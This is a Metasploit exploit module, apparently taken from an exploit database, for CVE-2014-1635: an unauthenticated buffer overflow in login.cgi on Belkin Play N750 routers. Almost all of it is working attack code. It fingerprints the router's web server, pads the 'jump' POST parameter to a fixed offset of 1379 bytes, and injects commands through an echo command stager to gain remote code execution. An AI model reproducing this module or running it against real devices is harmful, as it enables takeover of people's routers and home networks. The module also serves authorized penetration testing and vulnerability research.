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# Belkin Play N750 login.cgi Buffer Overflow Vulnerability

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

def initialize(info = {})
super(update_info(info,
'Name' => 'Belkin Play N750 login.cgi Buffer Overflow',
'Description' => %q{
This module exploits a remote buffer overflow vulnerability on Belkin Play N750 DB
Wireless Dual-Band N+ Router N750 routers. The vulnerability exists in the handling
of HTTP queries with long 'jump' parameters addressed to the /login.cgi URL, allowing
remote unauthenticated attackers to execute arbitrary code. This module was tested in
an emulated environment, using the version 1.10.16.m of the firmwarey.
},
'Author' =>
[
'Marco Vaz <mv[at]integrity.pt>', # Vulnerability discovery and msf module (telnetd)
'Michael Messner <devnull[at]s3cur1ty.de>', # msf module with echo stager
],
'License' => MSF_LICENSE,
'Platform' => ['linux'],
'Arch' => ARCH_MIPSLE,
'References' =>
[
['CVE', '2014-1635'],
['EDB', '35184'],
['BID', '70977'],
['OSVDB', '114345'],
['URL',
'https://labs.integrity.pt/articles/from-0-day-to-exploit-buffer-overflow-in-belkin-n750-cve-2014-1635/'],
['URL', 'http://www.belkin.com/us/support-article?articleNum=4831']
],
'Targets' =>
[
[ 'Belkin Play N750 DB Wireless Dual-Band N+ Router, F9K1103, firmware 1.10.16.m',
{
'Offset' => 1379,
}
]
],
'DefaultOptions' =>
{
'RPORT' => 8080
},
'DisclosureDate' => 'May 09 2014',
'DefaultTarget' => 0))
deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
end

def check
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => '/'
})

if res &&
[200, 301, 302].include?(res.code) &&
res.headers['Server'] &&
res.headers['Server'] =~ /minhttpd/ &&
res.body =~ /u_errpaswd/

return Exploit::CheckCode::Detected
end
rescue ::Rex::ConnectionError
return Exploit::CheckCode::Unknown
end

Exploit::CheckCode::Unknown
end

def exploit
print_status("#{peer} - Accessing the vulnerable URL...")

unless check == Exploit::CheckCode::Detected
fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL")
end

print_status("#{peer} - Exploiting...")
execute_cmdstager(
:flavor => :echo,
:linemax => 200
)
end

def prepare_shellcode(cmd)
shellcode = rand_text_alpha_upper(target['Offset'])
shellcode << 'e' << cmd
shellcode << "\n\n"
end

def execute_command(cmd, opts)
shellcode = prepare_shellcode(cmd)
begin
res = send_request_cgi({
'method' => 'POST',
'uri' => '/login.cgi',
'vars_post' => {
'GO' => '',
'jump' => shellcode,
}
})
return res
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
end
end
end

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# Iranian Exploit DataBase = http://IeDb.Ir [2015-03-25]

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